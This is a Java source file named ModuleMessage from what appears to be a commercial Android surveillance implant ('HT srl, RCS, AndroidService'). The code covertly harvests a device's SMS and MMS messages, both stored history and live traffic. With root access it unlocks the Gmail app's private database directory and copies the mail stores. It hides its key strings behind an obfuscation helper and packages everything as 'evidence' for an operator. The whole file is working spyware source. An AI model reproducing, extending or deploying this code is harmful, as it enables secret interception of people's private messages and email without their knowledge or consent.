/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : MessageAgent.java * Created : Apr 18, 2011 * Author : zeno * *******************************************/ package com.android.dvci.module; import java.io.File; import java.io.FilenameFilter; import java.io.IOException; import java.io.UnsupportedEncodingException; import java.util.ArrayList; import java.util.Date; import java.util.Hashtable; import java.util.Iterator; import java.util.concurrent.Semaphore; import com.android.dvci.ProcessInfo; import com.android.dvci.ProcessStatus; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.ChildConf; import com.android.dvci.conf.ConfModule; import com.android.dvci.conf.ConfigurationException; import com.android.dvci.db.GenericSqliteHelper; import com.android.dvci.evidence.EvidenceBuilder; import com.android.dvci.evidence.EvidenceType; import com.android.dvci.evidence.Markup; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Path; import com.android.dvci.interfaces.Observer; import com.android.dvci.listener.ListenerProcess; import com.android.dvci.listener.ListenerSms; import com.android.dvci.module.email.Email; import com.android.dvci.module.email.GmailVisitor; import com.android.dvci.module.message.Filter; import com.android.dvci.module.message.Mms; import com.android.dvci.module.message.MmsBrowser; import com.android.dvci.module.message.MsgHandler; import com.android.dvci.module.message.Sms; import com.android.dvci.module.message.SmsBrowser; import com.android.dvci.util.ByteArray; import com.android.dvci.util.Check; import com.android.dvci.util.DataBuffer; import com.android.dvci.util.DateTime; import com.android.dvci.util.WChar; import com.android.mm.M; /** * The Class MessageAgent. * * @author zeno -> Ahahah ti piacerebbe eh?? :> * @real-author Que, r0x -> vantatene pure. * @bug-sterminator zeno */ public class ModuleMessage extends BaseModule implements Observer<Sms> { private static final String TAG = "ModuleMessage"; //$NON-NLS-1$ //$NON-NLS-1$ private static final int SMS_VERSION = 2010050501; private static final int MAIL_VERSION2 = 2012030601; private static final int ID_MAIL = 0; private static final int ID_SMS = 1; private static final int ID_MMS = 2; private static final int MAIL_PROGRAM = 2; private boolean mailEnabled; private boolean smsEnabled; private boolean mmsEnabled; MsgHandler msgHandler; Markup storedMMS; Markup storedSMS; Markup storedMAIL; private Markup configMarkup; private Hashtable<String, Integer> lastMail = new Hashtable<String, Integer>(); private int lastMMS; private int lastSMS; private Filter[] filterCollect = new Filter[3]; private Filter[] filterRuntime = new Filter[3]; // private SmsHandler smsHandler; @Override public boolean parse(ConfModule conf) { setPeriod(NEVER); setDelay(100); storedMMS = new Markup(this, 1); storedSMS = new Markup(this, 2); storedMAIL = new Markup(this, 4); configMarkup = new Markup(this, 3); String[] config = new String[] { "", "", "" }; String[] oldConfig = new String[] { "", "", "" }; if (configMarkup.isMarkup()) { try { oldConfig = (String[]) configMarkup.readMarkupSerializable(); if (Cfg.DEBUG) { Check.log(TAG + " (parse): config size: " + oldConfig.length); } } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (parse) Error: " + e); } oldConfig = new String[] { "", "", "" }; } } else { if (Cfg.DEBUG) { Check.log(TAG + " (parse): no oldConfig available"); } } // {"mms":{"enabled":true,"filter":{"dateto":"0000-00-00 00:00:00","history":true,"datefrom":"2010-09-28 09:40:05"}},"sms":{"enabled":true,"filter":{"dateto":"0000-00-00 00:00:00","history":true,"datefrom":"2010-09-01 00:00:00"}},"mail":{"enabled":true,"filter":{"dateto":"0000-00-00 00:00:00","history":true,"datefrom":"2011-02-01 00:00:00"}},"module":"messages"} try { mailEnabled = Status.self().haveRoot() && readJson(ID_MAIL, M.e("mail"), conf, config); smsEnabled = readJson(ID_SMS, M.e("sms"), conf, config); mmsEnabled = readJson(ID_MMS, M.e("mms"), conf, config); if (!config[ID_MAIL].equals(oldConfig[ID_MAIL])) { storedMAIL.removeMarkup(); } if (!config[ID_SMS].equals(oldConfig[ID_SMS])) { // configSmsChanged = true; if (Cfg.DEBUG) { Check.log(TAG + " (parse): remove SMS markup"); } storedSMS.removeMarkup(); } if (!config[ID_MMS].equals(oldConfig[ID_MMS])) { if (Cfg.DEBUG) { Check.log(TAG + " (parse): remove MMS markup"); } storedMMS.removeMarkup(); } if (Cfg.DEBUG) { Check.log(TAG + " (parse): updating configMarkup"); } configMarkup.writeMarkupSerializable(config); } catch (ConfigurationException e) { if (Cfg.DEBUG) { Check.log(TAG + " (parse) Error: " + e); } return false; } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (parse) Error: " + e); } return false; } return true; } private boolean readJson(int id, String child, ConfModule jsonconf, String[] config) throws ConfigurationException { ChildConf mailJson = jsonconf.getChild(child); //$NON-NLS-1$ boolean enabled = mailJson.getBoolean(M.e("enabled")); //$NON-NLS-1$ String digestConfMail = child + "_" + enabled; if (enabled) { ChildConf filter = mailJson.getChild(M.e("filter")); //$NON-NLS-1$ boolean history = filter.getBoolean(M.e("history")); //$NON-NLS-1$ int maxSizeToLog = 4096; digestConfMail += "_" + history; if (history) { Date from = filter.getDate(M.e("datefrom")); //$NON-NLS-1$ Date to = filter.getDate(M.e("dateto"), null); //$NON-NLS-1$ // sizeToLog = filterCollect[id] = new Filter(history, from, to, maxSizeToLog, maxSizeToLog); digestConfMail += "_" + from + "_" + to; } filterRuntime[id] = new Filter(enabled, maxSizeToLog); } config[id] = digestConfMail; return enabled; } class ProcessMailObserver implements Observer<ProcessInfo> { private String pObserving = M.e("com.google.android.gm"); @Override public int notification(ProcessInfo process) { if (Cfg.DEBUG) { Check.log(TAG + " (notification): " + process); } if (process.processInfo.contains(pObserving)) { if (process.status == ProcessStatus.STOP) { try { if (Cfg.DEBUG) { Check.log(TAG + " (notification), observing found: " + process.processInfo); } readHistoricMail(lastMail); } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (notification) Error: " + e); } } } } return 0; } } ProcessMailObserver obs; @Override public void actualStart() { if (mailEnabled) { obs = new ProcessMailObserver(); initMail(); ListenerProcess.self().attach(obs); } if (smsEnabled) { initSms(); } if (mmsEnabled) { initMms(); } if (smsEnabled || mmsEnabled) { // Iniziamo la cattura live ListenerSms.self().attach(this); msgHandler = new MsgHandler(smsEnabled, mmsEnabled); msgHandler.start(); } } @Override public void actualStop() { if (mailEnabled) { initMail(); if (obs != null) { ListenerProcess.self().detach(obs); obs = null; } } if (smsEnabled) { ListenerSms.self().detach(this); } if (msgHandler != null) { msgHandler.quit(); } } @Override public void actualGo() { if (mailEnabled) { try { readHistoricMail(lastMail); } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (initMail) Error: " + e); } } } if (smsEnabled) { int mylastSMS = readHistoricSms(lastSMS); if (Cfg.DEBUG) { Check.log(TAG + " (initSms): next lastSMS: " + mylastSMS); } updateMarkupSMS(mylastSMS); } } private void initMail() { lastMail = storedMAIL.unserialize(new Hashtable<String, Integer>()); if (Cfg.DEBUG) { Check.log(TAG + " (initMail), read lastMail: " + lastMail); } } private void initSms() { lastSMS = storedSMS.unserialize(new Integer(0)); if (Cfg.DEBUG) { Check.log(TAG + " (initSms): lastSMS: " + lastSMS); } } private void initMms() { if (storedMMS.isMarkup()) { try { lastMMS = (Integer) storedMMS.readMarkupSerializable(); } catch (Exception e) { storedMMS.removeMarkup(); lastMMS = readHistoricMms(lastMMS); if (Cfg.DEBUG) { Check.log(TAG + " (actualStart) Error reading markup: " + e); } } } lastMMS = readHistoricMms(lastMMS); updateMarkupMMS(lastMMS); } public synchronized void updateMarkupMMS(int value) { try { lastMMS = value; storedMMS.writeMarkupSerializable(new Integer(value)); } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (updateMarkupMMS) Error: " + e); } } } public synchronized void updateMarkupSMS(int value) { if (Cfg.DEBUG) { Check.log(TAG + " (updateMarkupSMS): " + value); } storedSMS.serialize(value); lastSMS = value; } public void updateMarkupMail(String mailstore, int newLastId, boolean serialize) { if (Cfg.DEBUG) { Check.log(TAG + " (updateMarkupMail), mailStore: " + mailstore + " +lastId: " + newLastId); } lastMail.put(mailstore, newLastId); try { if (serialize || (newLastId % 100 == 0)) { if (Cfg.DEBUG) { Check.log(TAG + " (updateMarkupMail), write lastId: " + newLastId); } storedMAIL.writeMarkupSerializable(lastMail); } } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (updateMarkupMail) Error: " + e); } } } Semaphore stillReadingEmail = new Semaphore(1); private String[] getMailStores(String databasePath) { File dir = new File(databasePath); File parent = new File(dir.getParent()); Path.unprotect(parent.getParent()); Path.unprotect(parent.getAbsolutePath()); Path.unprotect(dir.getAbsolutePath()); FilenameFilter filterdb = new FilenameFilter() { public boolean accept(File directory, String fileName) { // i_3=mailstore. return fileName.endsWith(".db") && fileName.startsWith(M.e("mailstore.")); } }; if(!dir.exists()){ if (Cfg.DEBUG) { Check.log(TAG + " (getMailStores) Error: no dir"); } return new String[]{}; } FilenameFilter filterall = new FilenameFilter() { public boolean accept(File directory, String fileName) { // i_3=mailstore. return fileName.startsWith(M.e("mailstore.")); } }; for (String file : dir.list(filterall)) { Path.unprotect(dir + "/" + file, true); } String[] mailstores = dir.list(filterdb); return mailstores; } private int readHistoricMail(Hashtable<String, Integer> lastMail) throws IOException { if (stillReadingEmail.tryAcquire()) { try { // i_1=/data/data/com.google.android.gm/databases String databasePath = M.e("/data/data/com.google.android.gm/databases"); String[] mailstores = getMailStores(databasePath); for (String mailstore : mailstores) { if (Cfg.DEBUG) { Check.log(TAG + " (readHistoricMail) mailstore: " + mailstore); } AutoFile file = new AutoFile(mailstore); GmailVisitor visitor = new GmailVisitor(this, mailstore, filterCollect[ID_MAIL]); GenericSqliteHelper helper = GenericSqliteHelper.open(databasePath, mailstore); int lastId = lastMail.containsKey(mailstore) ? lastMail.get(mailstore) : 0; if (Cfg.DEBUG) { Check.log(TAG + " (readHistoricMail), mailstore: " + mailstore + " lastId: " + lastId); } visitor.lastId = lastId; // i_2=messages // M.d("messages") int newLastId = (int) helper.traverseRecords("messages", visitor, false); if (Cfg.DEBUG) { Check.log(TAG + " (readHistoricMail) finished, newLastId: " + newLastId); } if (newLastId > lastId) { updateMarkupMail(mailstore, newLastId, true); } } } catch (Exception ex) { if (Cfg.DEBUG) { ex.printStackTrace(); Check.log(TAG + " (readHistoricMail) Error: " + ex); } } finally { stillReadingEmail.release(); } } else { if (Cfg.DEBUG) { Check.log(TAG + " (readHistoricMail), still reading..."); } } return 0; } private int readHistoricMms(int lastMMS) { final MmsBrowser mmsBrowser = new MmsBrowser(); final ArrayList<Mms> listMms = mmsBrowser.getMmsList(lastMMS); final Iterator<Mms> iterMms = listMms.listIterator(); while (iterMms.hasNext()) { try { final Mms mms = iterMms.next(); mms.print(); if (Cfg.DEBUG) { Check.asserts(filterCollect[ID_MMS] != null, " (readHistoricMms) Assert failed: filterCollect[ID_MMS] null"); } if (filterCollect[ID_MMS].filterMessage(mms.getDate(), mms.getSize(), 0) == Filter.FILTERED_OK) { saveMms(mms); } } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + " (readHistoricMms) Error: " + ex); } } } return mmsBrowser.getMaxId(); } private int readHistoricSms(int lastSMS) { if (Cfg.DEBUG) { Check.log(TAG + " (begin): historic sms harvesting");//$NON-NLS-1$ } final SmsBrowser smsBrowser = new SmsBrowser(); final ArrayList<Sms> listSms = smsBrowser.getSmsList(lastSMS); final Iterator<Sms> iterSms = listSms.listIterator(); while (iterSms.hasNext()) { final Sms s = iterSms.next(); if (Cfg.DEBUG) { Check.asserts(filterCollect[ID_SMS] != null, " (readHistoricMms) Assert failed: filterCollect[ID_SMS] null"); } if (filterCollect[ID_SMS].filterMessage(s.getDate(), s.getSize(), 0) == Filter.FILTERED_OK) { saveSms(s); } } return smsBrowser.getMaxId(); } private void saveSms(Sms sms) { final String address = sms.getAddress(); final byte[] body = WChar.getBytes(sms.getBody()); final long date = sms.getDate(); final boolean sent = sms.getSent(); if (sms.isValid()) { saveEvidenceSms(address, body, date, sent); } } private void saveMms(Mms mms) { if (!mms.isValid()) { if (Cfg.DEBUG) { Check.log(TAG + " (saveMms) Error: mms not valid"); } return; } final String address = mms.getAddress(); // MMS Subject: final byte[] subject = WChar.getBytes(M.e("MMS Subject: ") + mms.getSubject() + "\n" + M.e("Body: ") + mms.getBody()); //$NON-NLS-1$ final long date = mms.getDate(); final boolean sent = mms.getSent(); saveEvidenceSms(address, subject, date, sent); } public boolean saveEmail(Email message) { int maxMessageSize = 50 * 1024; final String mail = message.makeMimeMessage(maxMessageSize); if (filterCollect[ID_MAIL].filterMessage(message.getDate(), mail.length(), 0) == Filter.FILTERED_OK) { saveEvidenceEmail(message, mail); } return isStopRequested(); } private void saveEvidenceEmail(Email message, String mail) { Check.asserts(mail != null, "Null mail"); //$NON-NLS-1$ int size = mail.length(); final int flags = message.isIncoming() ? 0x10 : 0x0; final DateTime filetime = new DateTime(message.getReceivedDate()); final byte[] additionalData = new byte[24]; final DataBuffer databuffer = new DataBuffer(additionalData, 0, 24); databuffer.writeInt(MAIL_VERSION2); databuffer.writeInt(flags); databuffer.writeInt(size); databuffer.writeLong(filetime.getFiledate()); databuffer.writeInt(MAIL_PROGRAM); Check.asserts(additionalData.length == 24, "Mail Wrong buffer size: " + additionalData.length); //$NON-NLS-1$ try { EvidenceBuilder.atomic(EvidenceType.MAIL_RAW, additionalData, mail.getBytes("UTF-8")); } catch (UnsupportedEncodingException e) { if (Cfg.DEBUG) { Check.log(TAG + " (saveEmail) Error: " + e); } } //$NON-NLS-1$ } private boolean saveEvidenceSms(String address, byte[] body, long date, boolean sent) { String from, to; int flags; if (sent) { flags = 0; from = M.e("local"); //$NON-NLS-1$ to = address; } else { flags = 1; to = M.e("local"); //$NON-NLS-1$ from = address; } final int additionalDataLen = 48; final byte[] additionalData = new byte[additionalDataLen]; final DataBuffer databuffer = new DataBuffer(additionalData, 0, additionalDataLen); databuffer.writeInt(SMS_VERSION); databuffer.writeInt(flags); final DateTime filetime = new DateTime(new Date(date)); databuffer.writeLong(filetime.getFiledate()); databuffer.write(ByteArray.padByteArray(from.getBytes(), 16)); databuffer.write(ByteArray.padByteArray(to.getBytes(), 16)); EvidenceBuilder.atomic(EvidenceType.SMS_NEW, additionalData, body); return isStopRequested(); } public int notification(Sms s) { // Live SMS saveSms(s); return 0; } public int notification(Mms mms) { // Live MMS saveMms(mms); int id = mms.getId(); updateMarkupMMS(id); return 0; } public synchronized int getLastManagedMmsId() { return lastMMS; } public synchronized int getLastManagedSmsId() { if (Cfg.DEBUG) { Check.log(TAG + " (getLastManagedSmsId): " + lastSMS); } return lastSMS; } }